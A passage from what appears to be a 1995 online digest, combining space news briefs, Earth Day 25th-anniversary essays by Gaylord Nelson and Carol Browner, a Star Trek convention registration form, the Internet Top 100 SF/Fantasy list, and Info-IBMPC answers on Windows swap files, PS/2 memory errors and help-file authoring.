surveillance satellite last Wednesday (April 5), giving the country the ability to quickly obtain high-resolution images of its neighboring countries. A Shavit rocket launched the 225-kg (495-lb) Ofeq-3 satellite from Palamchim Air Force Base south of Tel Aviv. The spacecraft was placed into an orbit 300 to 700 km (185 to 435 miles) above the Earth with an inclination of 37 degrees. This orbit permits the spacecraft to pass over Iran, Iraq, and Syria several times each day. The spacecraft orbits from east to west, as opposed to the traditional west to east, as Israel can only safely launch rockets to the west, over the Mediterranean Sea. The Ofeq-3 spacecraft is the culmination of an Israeli program to provide the nation with its own satellite reconnaissance program. In the past, the United States had provided Israel with satellite imagery, but access to this data was believed to be restricted after Israel used it to coordinate the bombing of an Iraqi nuclear reactor in 1981. Israel launched two experimental satellites, Ofeq-1 and Ofeq-2, in 1988 and 1990 respectively, to test the technology needed for a spysat. ----------------------------- Cellular Phone Satellite in Orbit An Atlas 2 rocket placed a communications satellite into orbit last Friday (April 7) that will for the first time permit cellular phone users throughout North America, whether in a large city or in the wilderness, to place and receive phone calls at a far smaller cost that current satellite phone technologies. The satellite, named MSAT, was launched from Cape Canaveral on the evening of April 7. The spacecraft was flawlessly placed in its geosynchronous orbit shortly thereafter. The launch was the eighteenth for the new aerospace conglomerate Lockheed Martin. American Mobile Satellite Corporation, the owner of MSAT, said that the satellite is the first of its kind that allows cellular phone users to stay in touch throughout North America. The system will require a special phone, with an estimated cost of $1,500, but will offer rates as low as $0.75 per minute. To achieve the same level of connectivity before MSAT required a briefcase-sized satellite phone, which cost $35,000 and charge rates of $10 per minute. The $450-million satellite was built by Hughes and Spar Aerospace. It is the first of two satellites the company plans to launch. ----------------------------- Orbcomm Launch a Partial Success The first two satellites in Orbital Communications Corporation's Orbcomm series, which will provide tracking and communications services in North America, were successfully launched on a Pegasus last Monday (April 3), but problems with one of the satellites may keep it from entering service. One of the satellites, Orbcomm 2, has developed a problem with its uplink receiver, which is used to receive commands from the ground. Unless this problem is corrected, it is unlikely that the satellite can function as a part of the Orbcomm constellation. The other satellite, Orbcomm 1, was functioning normally after a section of corrupted software in its GPS receiver was reloaded. The two satellites, along with a third small scientific satellite, were launched on a Pegasus off the coast of California. The launch was the first successful launch from Orbital Science Corporation's L-1011 aircraft. The satellites are the first in what will comprise a constellation of several dozen small satellites in low Earth orbit. These satellites will be used in a variety of largely non-voice communications programs, such as tracking commercial trucks, monitoring pipelines, and transmitting data received from remote environmental sensors on the ground. Orbital Communications Corporation is a subsidiary of Orbital Sciences Corporation. ----------------------------- * Future Missions * Lucid Selected for Second U.S. Mir Mission Astronaut Shannon Lucid has been selected to be the second American astronaut to stay aboard the Mir space station, as part of the continuing international space station program. Navy Commander Jerry Linenger was also selected to be the third American to stay aboard Mir, with retired Air Force Colonel John Blaha and astronaut Scott Parazynski as the backups to Lucid and Linenger. Lucid is scheduled stay aboard Mir early in 1996, while Linenger will be aboard Mir later that year. The durations of their stays were not announced. Both astronauts will be ferried to and from the space station from the space shuttle Atlantis. The 52-year-old Lucid is a veteran of four shuttle missions between 1985 and 1993. She has a Ph.D in biochemistry from the University of Oklahoma. The 40-year-old Linenger has flown on the shuttle once, on the STS-64 mission in September 1994. He has a doctorate in medicine from Wayne State University and a Ph.D in epidemiology from the University of North Carolina. ----------------------------- LLV to Launch Clark Spacecraft CTA Incorporated has selected the Lockheed Launch Vehicle (LLV) to launch the NASA-funded Clark remote sensing satellite in 1996. The launch will be the second use of the LLV by the Rockville, Maryland, company. The LLV-1 rocket will launch the 285-kg (630-lb) spacecraft into a 510-km (320-mi) sun-synchronous polar orbit from Vandenberg Air Force Base. Once in orbit, the Clark spacecraft (of Lewis and Clark fame) will use advanced remote-sensing instruments to study changes in the Earth's environment. Clark, and its sister spacecraft Lewis, are among the first spacecraft being developed by NASA's Small Spacecraft Technology Initiative. The program calls for small, inexpensive spacecraft built quickly using the latest in technology. The technology tested by these spacecraft can then be used in larger, more expensive missions. The Lewis spacecraft is being developed by the TRW Space and Electronics Group, and will also be launched on an LLV. The CTA-built GEMStar(r) communications satellite will be launched into a near-polar orbit later this year by an LLV. ----------------------------- * Space Policy * Walker Proposes Multiyear Authorization for Space Station In a move widely seen as an effort to placate international partners, House Science Committee chairman Robert Walker has introduced legislation that would authorize funding for Space Station Alpha for the remainder of its construction. Walker (R-PA) introduced legislation last week that would authorize $13.2 billion dollars for construction of the space station between now and 2002. The $13.2 billion dollar figure comes from the $17.4 billion cap placed on the project by President Clinton minus two $2.1 billion appropriations already made for the project. Although it is unlikely that the appropriation will pass in both houses of Congress, especially since no companion bill has been introduced in the Senate, approval of the authorization in the House would be seen as a victory for space station proponents, who have struggled in recent years to support the program. It is also believed that this authorization would be seen by the station's international partners as a sign that NASA and Congress are serious about completing the station. ----------------------------- U.S. May Permit Commercial Use of Ukranian Rockets The United States and the Ukraine are discussing a bilateral space launch trade agreement what would permit U.S. companies to use Ukranian rockets, such as the Zenit and Cyclone. At least one multinational venture using these rockets is being planned. Such an agreement would pave the way for Boeing to proceed with its Sea Launch project, which would use Zenits launched from offshore platforms in the Pacific. Boeing is currently working with SC Energia and NPO Yushnoye in the former Soviet Union and Norweigan shipbuilding conglomerate Kvaerner A/S on the project. Under the current Sea Launch proposal, mobile launch platforms would be based off the coast of California. Before a launch, a Zenit rocket and payload would be brought aboard and the launch platform would be towed south to the Equator, where a launch would gain the maximum benefit from the Earth's rotation. ----------------------------- * Space Science * ESO Telescope Project Threatened A project to build the world's largest telescope in Chile is threatened with cancellation unless European and Chilean officials can resolve a dispute over the land on which the telescope is being constructed. The family which claims ownership of Cerro Paranal, the mountaintop where the telescope is being built, has filed suit against the European Southern Observatory (ESO), claiming the land was illegally seized by the Chilean government in 1988 and given to ESO. ESO claims to be immune to lawsuits in Chilean courts and, according to the Chilean Foreign Minister, may scrap the project if the lawsuit is not resolved. A decision may come as soon as April 19, when representatives from ESO's eight member nations -- Belgium, Denmark, France, Germany, Italy, the Netherlands, Sweden, and Switzerland -- meet to discuss the project. The $500 million project would build four 8-meter telescopes which, when combined, would have the power of a single 16-meter diameter telescope. Currently the largest telescope in the world is the Keck Telescope on Mauna Kea, Hawaii, with a diameter of ten meters. ----------------------------- @START@Earth Day 25 Years Later Earth Day 25 Years Later We must strive to achieve a sustainable society by Gaylord Nelson On April 22, 1970, Earth Day was held, one of the most remarkable happenings in the history of democracy. Fully 10 percent of the population of the country, twenty million people, demonstrated their support for redeeming the American environment. . . . American politics and public policy would never be the same. (American Heritage magazine, October 1993) The idea of Earth Day 1970 was to have a national demonstration of environmental concern big enough to shake up the political establishment--get its attention, get some action, force environmental issues onto the political agenda of national priorities. The idea worked, thanks to the spontaneous response of millions of concerned Americans, and the event served as a wake-up call to the political establishment. Suddenly, the environment became a national political priority. Since Earth Day 1970, Congress has enacted nearly 40 major federal environmental laws addressing a wide range of issues, including clean air, clean water, energy conservation, hazardous wastes, and herbicides and other pesticides. Dozens of individual public land bills have been enacted since 1970 to designate or expand wilderness areas, wild and scenic rivers, national parks, and wildlife refuges. Perhaps most important, more than 80 percent of Americans now regard themselves as environmentalists. Since 1970 we have come a long way. After 25 years of researching, debating, and learning, increasing numbers of people recognize that the state of the environment is the key factor in determining our way of life and the quality of it. Increasingly, we are coming to understand that air, water, soil, forests, minerals, rivers, lakes, oceans, scenic beauty, wildlife habitats, and biodiversity constitute the wealth of the nation. This is our capital. In short, these resources are all there is. That's the whole economy. That's where all the economic activity--and all the jobs--comes from. Nonetheless, this simple proposition is conveniently overlooked when doing so serves some immediate political or financial interest. That's why we so frequently hear political and business leaders, economists, and others who should know better vacuously assert that they "are for the environment if it doesn't cost jobs." This misses the obvious point that a healthy environment and a prosperous economy are inextricably tied one to the other. In the jargon of the business world, the economy is a wholly owned subsidiary of the environment. All economic activity is dependent on that environment, on its underlying resource base. If the environment is finally forced to file under Chapter 11 because its resource base has been polluted, degraded, dissipated, and irretrievably compromised, then the economy goes bankrupt with it because the economy is just a subset within the ecological system. When the environment is sacrificed in the short-term interest of creating jobs, the cost and long-term job loss always exceed the immediate benefit. Consuming capital and counting it as income--this is the road to bankruptcy. At this point in history, no nation has managed to evolve into a sustainable society. All are pursuing a self-destructive course; we are all fueling our economies by consuming our capital--that is to say, by degrading our resource base. Recently, in a joint statement, the United States National Academy of Sciences and the Royal Society of London, two of the world's leading scientific bodies, addressed the state of the planet in the following words: If current predictions of population growth prove accurate and patterns of human activity on the planet remain unchanged, science and technology may not be able to prevent either irreversible degradation of the environment or continued poverty for much of the world. (Population Growth, Resource Consumption, and a Sustainable World, 1992) This sobering observation confronts us with the challenge to significantly reduce population growth in the next few years and achieve population stability before the mid-21st century. Right now, we are dealing with a social, ecological, and economic challenge unlike any other in our history. This challenge is far more serious than the military threat to the democratic West in World War II. Nations can recover from lost wars--witness Germany and Japan--but there is no recovery from a destroyed ecosystem. On December 5, 1962, Dean Acheson, in a speech at West Point, observed that "Britain has lost an empire and has not yet found a goal." Ironically, that describes the current American dilemma. The Soviet superpower has disintegrated, the Communist menace has dissolved, and the Cold War is over. As yet, as a nation, the United States has not found a unifying theme, a moral cause to replace the Cold War--this despite the fact that a monumental moral cause is near at hand, a far more serious challenge than the Cold War ever was. It's the war against the planet. How do we bring it to an end, and where do we start? We must start in the United States. We cannot and should not wait for the rest of the world. Truly understanding that sustainability is the ultimate issue will bring America face-to-face with the political challenge of forging a sustainable society during the next few decades. It is a challenge America can meet if we have the leadership and the political will to do so. Nearly 60 years ago, in a speech in Philadelphia on June 27, 1936, President Roosevelt said: There is a mysterious cycle in human events. To some generations much is given. Of other generations much is expected. This generation of Americans has a rendezvous with destiny. This eloquent exhortation fits well the generation now coming of age. The challenge of creating a sustainable society implies a bigger rendezvous with history and a bigger destiny than Roosevelt was thinking about in 1936. With enough determination, Americans can measure up to the challenge. I am optimistic the generation now preparing to take the helm will have the foresight and will to do so. (Nelson, formerly a U.S. Senator from Wisconsin, was founder of Earth Day 1970. He is currently Counselor for the Wilderness Society. In addition, he is Chairman of Earth Day XXV, a group that is helping to organize a national Earth Day event on the Mall in Washington, DC.) @START@The Earth is in Your Hands The Earth is in Your Hands Working together, we can achieve a new generation of environmental protection by Carol M. Browner Earth Day 25 is a time to reflect on how we're doing in protecting our environment. Twenty-five years ago, in the wake of the first Earth Day, our nation created, virtually from scratch, the most advanced system of environmental protection in the world. In the course of a very short history--a mere quarter- century--we have made tremendous progress. We no longer have rivers catching on fire. Our skies are cleaner. And U.S. environmental expertise and technology are in demand throughout the world. In the years since the first Earth Day, EPA banned lead in gasoline, lowering lead levels in our air by more than 90 percent and protecting millions of children from harm. We banned dangerous and widely used pesticides like DDT. We closed unsafe local garbage dumps all over the nation and helped to make recycling a household habit. We provided American towns with substantial funding for wastewater treatment--the second biggest public works effort in U.S. history, resulting in cleaner rivers all over the United States. All cars and trucks now have standards for fuel economy, set by EPA, that allow consumers to choose a car for its energy efficiency. And EPA has played an important role in ensuring that companies and others comply with our environmental laws or face stiff penalties. Perhaps most important, the nation has gained a new understanding. More Americans than ever understand that to ensure a good quality of life for ourselves and our children, we must act as responsible stewards of our air, our water, and our land. More to Do But much remains to be done. Thirty years after Rachel Carson warned us in Silent Spring to reduce our dependence on pesticides, we have doubled our pesticide use. Twenty-five years after the garbage-filled Cuyahoga River spontaneously caught on fire, 40 percent of our rivers and lakes are not suitable for fishing or swimming. In 1993, people in Milwaukee, New York, and Washington, DC, were ordered to boil their drinking water. In Milwaukee, hundreds of thousands of people got sick from contaminated water; 100 died. Twenty years after passage of the Clean Air Act, two in five Americans still live in areas where the air is dangerous to breathe. Fourteen years after Love Canal, one in four Americans lives within four miles of a toxic dumpsite. Asthma is on the rise. Breast cancer is on the rise. And the past 25 years have left us with a complex and unwieldy system of laws and regulations and increasing conflict over how we achieve environmental protection. The result of this history? An adversarial system of environmental policy. A system built on distrust. And too little environmental protection at too high a cost. The Challenge We Face In the next 25 years, we must maintain the progress we have made, and we must build on that progress. We must continue to protect the health of the people of this country, the health of our communities, the health of our economy, our air, our water, and our land. The environmental problems of the future will be more complex than ever. We can work together to address these problems today, or we can handle them as expensive crises tomorrow. When President Clinton and I arrived in Washington two years ago, we believed that we needed a fundamentally new system of environmental protection. One that protects more and costs less. And one that builds on the strengths of the last 25 years but overcomes the deficiencies of the past. We have an opportunity to reinvent a system of strong public health and environmental protections--to find solutions that work for real people in real communities. We must do it with common- sense, cost-effective measures that produce the very best environmental results for the least cost. In this new system, we need a firm commitment to public health and environmental goals--combined with flexibility, innovation, and creativity in how we achieve those goals. We must move beyond the one-size-fits-all approach of the past. We must work industry by industry, community by community to prevent pollution, rather than clean it up after the fact. We must involve those who will live with environmental decisions, to ensure that they have every opportunity to be a partner in making those decisions. New Strategies for the Future In the last two years, the Clinton Administration has initiated a variety of strategies to reinvent environmental protection--to move beyond a one-size-fits-all approach and move toward a flexible yet firm approach to pollution protection. These strategies will allow us to achieve results that are cleaner, cheaper, and smarter. Last year we launched the Common Sense Initiative, a fundamentally different way of doing business that takes us beyond the pollutant-by-pollutant, crisis-by-crisis approach of the past to an industry-by-industry approach for the future. Beginning in six industries, we are bringing together leaders of business, state and local government, the community, labor, and the environmental movement--to sit down and examine environmental protection in these industries from top to bottom. By working together, we will be able to find answers to the tough questions and arrive at solutions never before thought possible--solutions that will be cleaner for the environment, cheaper for the taxpayer and industry, and smarter for the future of this country. Through our Brownfields Action Agenda, we are working in partnership with state and local government, communities, industry, and small business, to clean up the contaminated pieces of land that sit idle in cities across this country--to bring them back to life, to remove a blight on the neighborhood, to create jobs, to create hope. We recently lifted the Superfund stigma from 25,000 sites around this country. Recognizing the need for quality science in all that we do, we recently launched our STAR program--Science To Achieve Results--bringing the best and the brightest from across the scientific community to assist us in our work, so we can direct our resources to the highest risks and do it using the highest quality data. Five thousand graduate students in science are competing for 100 fellowships in research at EPA. We've expanded our use of risk assessment and cost-benefit analysis. In fact, the National Academy of Sciences has recognized EPA as a world leader in using risk analysis. These are some of the strategies we are using to reinvent environmental protection. All of these strategies work for business, for communities, and for people across the country. All of these are new strategies that will take us to the future. We Must Reinvent, Not Repeal Last month, the President, the Vice President, and I announced the Clinton Administration's regulatory reinvention of environmental protection. Through a package of important reforms, we will trust honest business people as partners, not adversaries--without sacrificing one ounce of public health protection. We will cut paperwork by 25 percent, saving 20 million hours a year for business and communities. Time and money should be invested in making a product, not filling out forms. We will allow a six-month grace period--to give small business owners a chance to fix compliance problems instead of paying a fine. We will reward companies that take responsibility for finding and fixing environmental problems. Our goal is compliance with the laws that protect public health and the environment--not punishment. We will institute one-stop emissions reporting and consolidate our air-pollution rules. Instead of a dozen different rules and a dozen different forms, our goal is one rule, one permit, one report. Under our new Project XL--excellence and leadership--we will choose 50 businesses and communities and say to them, "Here's the pollution reduction goal. You know your operation better than anyone else. If you can figure out how to reach the goal and exceed that goal, then you can throw out the rule book." Through the Clinton Administration's regulatory reinvention, we are refining environmental protection to make it more flexible, more effective, more sensible, and more affordable--to achieve the very best environmental results for the least cost. These reforms will move us beyond rigid, one-size-fits-all regulation. But unlike proposals for regulatory reform being debated in Congress, these reforms do not cross the line to one- size-fits-all deregulation. We need to reinvent environmental regulations--not repeal public health protections. The Clinton Administration's regulatory reinvention will help us work together to protect our health and our environment--and do it through common-sense, cost- effective measures. After all the progress we've made since the first Earth Day 25 years ago, we cannot go back. We must go forward. Every American Must Help It is the job of government to protect the public. But government cannot do the job alone. We need every American to help ensure strong public health and environmental protections. Joining together is not a matter of choice--it is a necessity. We all breathe the same air, drink the same water, and work and play in the same environment. That's why EPA is using this 25th anniversary of Earth Day to remind parents and kids, communities and companies that "the Earth is in your hands." If we join together, we can take the common sense steps we need to take--and be proud to pass along a safe, clean world to our children and our children's children. # (Browner is Administrator of EPA.) @START@The Average Urban American According To... Zero Population Growth _________________________________________________________ In 24 hours, the average urban American: Consumes 150 gallons of water Produces 120 gallons of sewage Consumes 3.3 pounds of food Produces 3.4 pounds of garbage Consumes 15 pounds of fossil fuels Produces 1.3 pounds of pollutants @START@Fan Run Star Trek Convention: Shore Leave 17 Convention Announcement: Fan Run Star Trek Convention (update 04/03) Shore Leave 17 July 7 - 9, 1995 Hunt Valley Mariott Inn Shawan Rd.,Hunt Valley, MD Tel. (410)785-7000 (make your own res.) Confirmed Guests: Garrett Wang (Ensign Harry Kim on VOY) Dwight Schultz (Lt. Barclay on TNG; also guested on B-5) Ann C. Crispin (ST novel author) Carmen Carter (ST novel author) Brad Ferguson (ST novel author) Howard Weinstein (ST novel and comics author) Bob Greenberger (ST novel and comics author) Tim DeHaas (ST script author) Bob Eggleton (ST and SF artist) Joan Winston (ST fandom legend) Jaqueline Lichtenberg (ST fandom legend) Steve Wilson (ST comics author) Bob Pinaha (DC Comics) Kirk Borne (Astronomer, Space Telescope) Warren Hack (Space Telescope Science Institute) Anne Kinney (Astronomer, Space Telescope) Christian Ready (Science Planning Specialist, Space Tel.) Patricia Vener-S. (Technical Specialist, Goddard SFC) more guests TBA Shore Leave 17 is produced by the Star Trek Association of Towson Inc., a not-for-profit organization in Towson, Maryland. For updated information please call our 24-hr hotline at (410)821-5563. Direct any questions you may have to me (heyer@stsci.edu), the above hotline, or write to: Shore Leave 17, PO Box 6809, Towson, MD 21285-6809. Answer #1: Yes, I am on the committee (chair for science). Answer #2: The membership form can be found after my .sig Please crosspost this announcement to other systems (CompuServe, GEnie, Prodigy, AOL, local BBS's, whatever). Thank you. CloudShape ---------------------------- snip, snip, snip --------------------------------- Shore Leave 17 Registration Form (please snail-mail with payment, DO NOT EMAIL) DEADLINE FOR PREREGISTRATION IS MAY 31, 1995 (after that at-the-door only) Fill out one copy of this form per person (you can mail them all together in one envelope of course). Enclose 2 SASE's per address, and a check or money order made out to "Shore Leave 17", and mail to: Shore Leave 17, PO Box 6809, Towson, MD 21285-6809 Membership does not guarantee a seat in the Main Programming Room or an autograph. There is a $25 returned check fee. Name: _________________________________________________ Address: _________________________________________________ City,State,ZIP: _________________________________________________ Telephone: _________________________________________________ Age (if child): ____ >From which computer network did you get this form: ______________ Please mark below if you want more Please mark below if you like to help information on the following topics: with the following: o Art Show/Auction o Art Show/Auction o WorkShops o Charities o Charities o Registration o Children's Programming (5-11) o Security o Filking o Fan Panels o Masquerade o Special Programming I am paying for: Adult Membership ($45): Youth (age 5-12) ($12): Workshops: Children's (age 5-11) ($ 5): Writers' (beginners) lecture only ($15): w/critique ($25): Writers' (intermed.) lecture only ($20): w/crit. (1- 5 p.) ($25): w/crit. (6-20 p.) ($30): Artists' Workshop ($20): Script Writers Work. free : Stargazing free : more workshops TBA TOTAL: Only 3-day preregistrations, under age 5 free with one paying adult. You must be preregistered for the convention to attend the workshops. @START@The Internet Top 100 SF/Fantasy List ----======= THE INTERNET TOP 100 SF/FANTASY LIST =======---- Edition Number 14 3rd April 1995 r--------------------------------------------------------------------------, | This chart was compiled using votes sent in by 415 people. If you want | | to vote for a book, then send a message containing your votes to me at | | tcooke@spam.maths.adelaide.edu.au. Each line of your message should | | contain a vote for one book, and should be of the form: Score out of 10, | | Title of the book, and then the Author or Editor of the book. | L__________________________________________________________________________J =============================================================================== Pos | Title | Type | Author/Editor | Score =============================================================================== 1 Lord of the Rings J.R.R. Tolkien 8.72 (199) 2 Ender's Game S1 Orson Scott Card 8.04 (181) 3 Dune S1 Frank Herbert 8.00 (185) ^ 4 A Fire Upon the Deep Vernor Vinge 7.98 (79) 5 The Demolished Man Alfred Bester 7.97 (53) 6 The Shadow Rising S4 Robert Jordan 7.97 (45) 7 Lord of Chaos S6 Robert Jordan 7.96 (34) 8 A Canticle for Leibowitz Walter M. Miller 7.95 (57) ^ 9 Hyperion S1 Dan Simmons 7.86 (97) 10 The Moon is a Harsh Mistress Robert A. Heinlein 7.84 (136) ^11 Aristoi Walter Jon Williams 7.83 (20) 12 The Stars my Destination Alfred Bester 7.82 (57) 13 The Dragon Reborn S3 Robert Jordan 7.78 (47) 14 The Shadow of the Torturer S1 Gene Wolfe 7.76 (60) 15 Stand on Zanzibar John Brunner 7.74 (49) 16 A Wizard of Earth sea S1 Ursula Le Guin 7.74 (56) ^17 The Hobbit J.R.R.Tolkien 7.70 (127) 18 Lord of Light Roger Zelazny 7.66 (65) 19 The Eye of the World S1 Robert Jordan 7.65 (52) ^20 The Left Hand of Darkness Ursula Le Guin 7.63 (92) ^21 The Long Run Daniel Keys Moran 7.63 (24) 22 The Dispossessed Ursula Le Guin 7.63 (67) ^23 The Anubis Gates Tim Powers 7.62 (34) 24 The Fires of Heaven S5 Robert Jordan 7.61 (43) ^25 The Citadel of the Autarch S4 Gene Wolfe 7.60 (35) ^26 Player of Games Iain M. Banks 7.59 (44) 27 The Claw of the Conciliator S2 Gene Wolfe 7.58 (47) 28 Snow Crash Neal Stephenson 7.58 (62) ^29 The Sword of the Lictor S3 Gene Wolfe 7.56 (34) 30 The Time Machine H.G. Wells 7.55 (58) 31 Use of Weapons Iain M. Banks 7.51 (44) ^32 Startide Rising David Brin 7.50 (105) 33 The Forever War Joe Haldeman 7.50 (72) 34 The Great Hunt S2 Robert Jordan 7.48 (50) ^35 Gateway S1 Frederick Pohl 7.47 (74) ^36 Neutron Star C Larry Niven 7.47 (29) 37 Marooned in Realtime Vernor Vinge 7.46 (43) 38 Red Mars S1 K.S. Robinson 7.45 (47) 39 Speaker for the Dead S2 Orson Scott Card 7.45 (121) 40 Fall of Hyperion S2 Dan Simmons 7.42 (72) ^41 Have Spacesuit, Will Travel Robert A. Heinlein 7.42 (36) 42 Dying Earth S1 Jack Vance 7.40 (28) 43 City C Clifford Simak 7.39 (38) ^44 The War of the Worlds H.G. Wells 7.35 (29) 45 The Door into Summer Robert A. Heinlein 7.35 (47) 46 I Robot C Isaac Asimov 7.34 (95) 47 Jhereg Steven Z. Brust 7.32 (41) 48 Citizen of the Galaxy Robert A. Heinlein 7.30 (57) 49 Foundation S1 Isaac Asimov 7.28 (139) 50 A Scanner Darkly Phillip K. Dick 7.25 (25) 51 Nine Princes in Amber S1 Roger Zelazny 7.22 (90) 52 Starship Troopers Robert A. Heinlein 7.22 (103) ^53 The Hitchhiker's Guide to the Galaxy S1 Douglas Adams 7.16 (149) 54 Martian Chronicles Ray Bradbury 7.14 (58) ^55 Green Mars S2 K.S.Robinson 7.13 (19) 56 Childhood's End Arthur C. Clarke 7.12 (79) ^57 Puppet Masters Robert A. Heinlein 7.12 (33) ^58 Witches of Karres James Schmitz 7.11 (16) 59 Stranger in a Strange Land Robert A. Heinlein 7.08 (126) 60 The Mote in God's Eye L.Niven/J.Pournelle 7.07 (109) 61 Second Foundation S3 Isaac Asimov 7.07 (107) 62 The Uplift War David Brin 7.06 (71) ^63 Lest Darkness Fall L. Sprague de Camp 7.04 (15) ^64 Mission of Gravity Hal Clement 7.01 (38) 65 Foundation and Empire S2 Isaac Asimov 7.01 (100) 66 The Man in the High Castle Phillip K. Dick 7.01 (64) ^67 The Caves of Steel S1 Isaac Asimov 7.00 (78) 68 Cyteen C.J. Cherryh 6.99 (46) 69 The Peace War Vernor Vinge 6.97 (40) ^70 Tunnel in the Sky Robert A. Heinlein 6.95 (19) 71 Ringworld S1 Larry Niven 6.95 (132) 72 Blood Music Greg Bear 6.94 (35) 73 Magician S1 Raymond E. Feist 6.93 (71) 74 The Naked Sun S2 Isaac Asimov 6.92 (71) ^75 The Dragonbone Chair Tad Williams 6.92 (22) 76 Consider Phlebas Iain M. Banks 6.89 (45) ^77 The Mists of Avalon Marion Z. Bradley 6.87 (17) 78 Solaris Stanislaw Lem 6.87 (25) ^79 Star Beast Robert A. Heinlein 6.86 (19) 80 The Pride of Chanur S1 C.J. Cherryh 6.85 (41) ^81 Tigana S3 Guy G. Kay 6.85 (20) 82 Protector Larry Niven 6.84 (24) 83 Babel 17 Samuel R. Delaney 6.81 (30) 84 Galactic Patrol S3 E.E. Doc Smith 6.81 (36) 85 The Urth of the New Sun S5 Gene Wolfe 6.80 (30) 86 A Man Rides Through S1 Stephen Donaldson 6.77 (29) 87 Neuromancer William Gibson 6.76 (128) 88 2001 : A Space Odyssey S1 Arthur C. Clarke 6.74 (57) 89 Rendezvous with Rama S1 Arthur C. Clarke 6.74 (94) ^90 Restaurant at the End of the Universe S2 Douglas Adams 6.73 (37) ^91 Life, the Universe and Everything S3 Douglas Adams 6.72 (35) ^92 Double Star Robert A. Heinlein 6.72 (30) 93 The Eyes of the Overworld S3 Jack Vance 6.71 (17) 94 Homeland S1 R.A. Salvatore 6.70 (10) 95 Pyramids S7 T.Pratchett 6.70 (29) 96 The Colour of Magic S1 Terry Pratchett 6.68 (20) ^97 Fahrenheit 451 Ray Bradbury 6.68 (29) ^98 The Tombs of Atuan S2 Ursula Le Guin 6.65 (21) 99 Dragon's Egg S1 Robert L. Forward 6.65 (37) 100 Earth David Brin 6.63 (48) =============================================================================== {S1} indicates that the book is the 1'st book in a series. {C} indicates a collection of short stories. * indicates that the book was not on the chart last week. ^ indicates that the book has risen from last week's position. This chart is also available via WWW at http://www.clark.net/pub/iz/Books/Top100/top100.html Rising Entries ============== To Reign in Hell Steven K.Z. Brust Agyar Steven K.Z. Brust The Masters of the Vortex S7 E.E.Doc Smith Elfqueen of Shannara S3 Terry Brooks Treason Orson Scott Card The Scions of Shannara S4 Terry Brooks Sourcery Terry Pratchett The Gate to Women's Country Sherri S. Tepper Druid of Shannara S5 Terry Brooks -- Tristrom Cooke | Editor of the tcooke@maths.adelaide.edu.au | Internet Top 100 | SF/Fantasy List @START@Corrupt Windows Swap File Subject: Re: Corrupt Windows Swap file!!? (V95 #73) Date: Sun, 09 Apr 1995 21:28:13 -0400 From: Joe Morris In INFO-IBMPC 95.73 Jayesh Sahasi wrote: >My machine a 486SX has been giving me error messages if I make a >permanent swap file. Every time I start windows, I get a message "Swap >file is corrupt: Press Y to delete..." I've changed the size of this >file several times, and I've deleted and re-configured it a dozen >times. Any idea as to what may be wrong. I had recently used disk >compression routines (DOS 6.2 doublespace), could that be causing >problems? If you've placed a permanent swap file on a compressed disk, you've got an invalid configuration. (This is documented in the notes on DoubleSpace, although it could have been made a little more prominent a restriction.) Since Windows 3.1 came out long before MS-DOS 6, the Windows setup code has no idea what compressed disks are, and much less idea that they aren't an appropriate place to put a permanent swap file. The result is that the WIN31 virtual memory setup logic will cheerfully propose your compressed disk as a good place to put the swap file; you've got to make sure that you change it to an uncompressed disk. (Note that when you create a compressed drive, DoubleSpace will recognize a permanent swap file and move it to the host (uncompressed) drive.) Unfortunately, Microsoft chose not to include in MS-DOS 6 a replacement for the Windows module that controls the allocation of a permanent swap file. If necessary, reduce the size of the DoubleSpace compressed volume to free up enough space on the (real) host drive, then allocate the permanent swap file there. Joe Morris / MITRE Date: Sat, 08 Apr 1995 23:25:32 -0500 (EST) From: CLEIKIS@delphi.com Subject: Re: Corrupt Windows Swap file!!? (V95 #73) Jayesh, >My machine a 486SX has been giving me error messages if I >make a permanent swap file. Every time I start windows, I get >a message "Swap file is corrupt: Press Y to delete..." [... Text Deleted...] Sure, that's easy to fix. The swap file for Windows must be on an uncompressed drive. If you didn't know, doublespace (and all compression software for that matter) creates an uncompressed drive for every compressed drive, called the host drive. It basically has your autoexec.bat, config.sys, etc file that you need until the drivers for the compression software are loaded at boot time. Using the the doublespace software, increase (I think it's actually decrease the size of the compressed drive) the size of this drive to the size you want for your swap file. Then tell windows to put it there. If you have one drive, C:, then the uncompressed drive is usually D:..Otherwise the uncompressed drives start after the last compressed drive. Hope this helps, Craig "Lynx" Leikis Email Address: CLEIKIS@delphi.com Never wrestle a pig. You both get dirty and the pig likes it. @START@Memory Upgrading Problems Subject: Memory upgrading problems (Rhea, Info-IBMPC 95.72) Date: Fri, 07 Apr 1995 09:30:37 -0400 From: Joe Morris In INFO-IBMPC 95.72 Jon Rhea wrote: > I purchased a 4MB memory upgrade module for my IBM PS/2 model >70. There was already a module in the first slot, so I put the new one >in the second slot. When I started the computer, the screen said >either 225 or 255 (I can't remember exactly which) at the top left hand >corner. It did not try to read the A: drive at all and it did not go >through the internal tests. I removed the new module and started the >computer as it was before I began anything. Now, at startup I get two >error messages: 161 and 163. The error codes you are likely to get while playing with the hardware are: 161 System Options Not Set-(Run SETUP); Dead battery. 162 System Options Not Set-(Run SETUP); CMOS checksum/ configuration error. 163 Time & Date not Set-(Run SETUP); Clock not updating. 164 Memory Size Error-(Run SETUP); CMOS setting does not match memory. 165 PS/2 System options not set. 215 PS/2 Motherboard memory failure. 216 PS/2 Motherboard memory failure. Note that the correct response to the 16x error codes is to run the reference disk to reset the option CMOS settings. You don't say what flavor of PS/2-70 you've got; your description of the failure makes me suspect that you were sold a memory kit that isn't compatible with your particular system. (Sort of like some auto parts house selling you an engine for a Chevrolet without asking if you've got a Blazer or a 'Vette.) My references (which may not be complete) don't indicate that any PS/2-70 is capable of using a 4 MB simm *in a motherboard slot*. If you have a memory expansion card you can use 4 MB simms (IBM part number 87F9977), but the memory slots on the motherboard can accept only 1 MB (p/n 6450603) or 2 MB (p/n 6450604 for 85 nsec, p/n 6450608 or 6450609 for 80 nsec) simms. Which 80 nsec part is used depends on the flavor of PS/2-70 you have. Using the wrong type of simm can do all sorts of mischief -- I speak from experience. The good news is that (at least for me) there was no damage to either the system or the incorrect simm. Joe Morris / MITRE @START@Windows .HLP Files Date: Fri, 07 Apr 1995 22:19:09 -0800 From: "IAN M. SCHMUTTE" Subject: Re: Windows help (V95 #72) > Date: Mon, 3 Apr 1995 14:31:00 EDT > From: John Pinter > > Suppose I want to write a file to be processed by the Windows help > processor (a .hlp file). Where can I find doc on how to do that? > Thanks. Dave There are several resources available. There is a good guide called Help Authors Guide, or HAG, from microsoft. (Also WinHag.) From Microsoft, you can download What6 to make the files using Word6 and WHPE to compile them. General pointers: check the comp.os.windows.programmer.winhelp group, where there is a 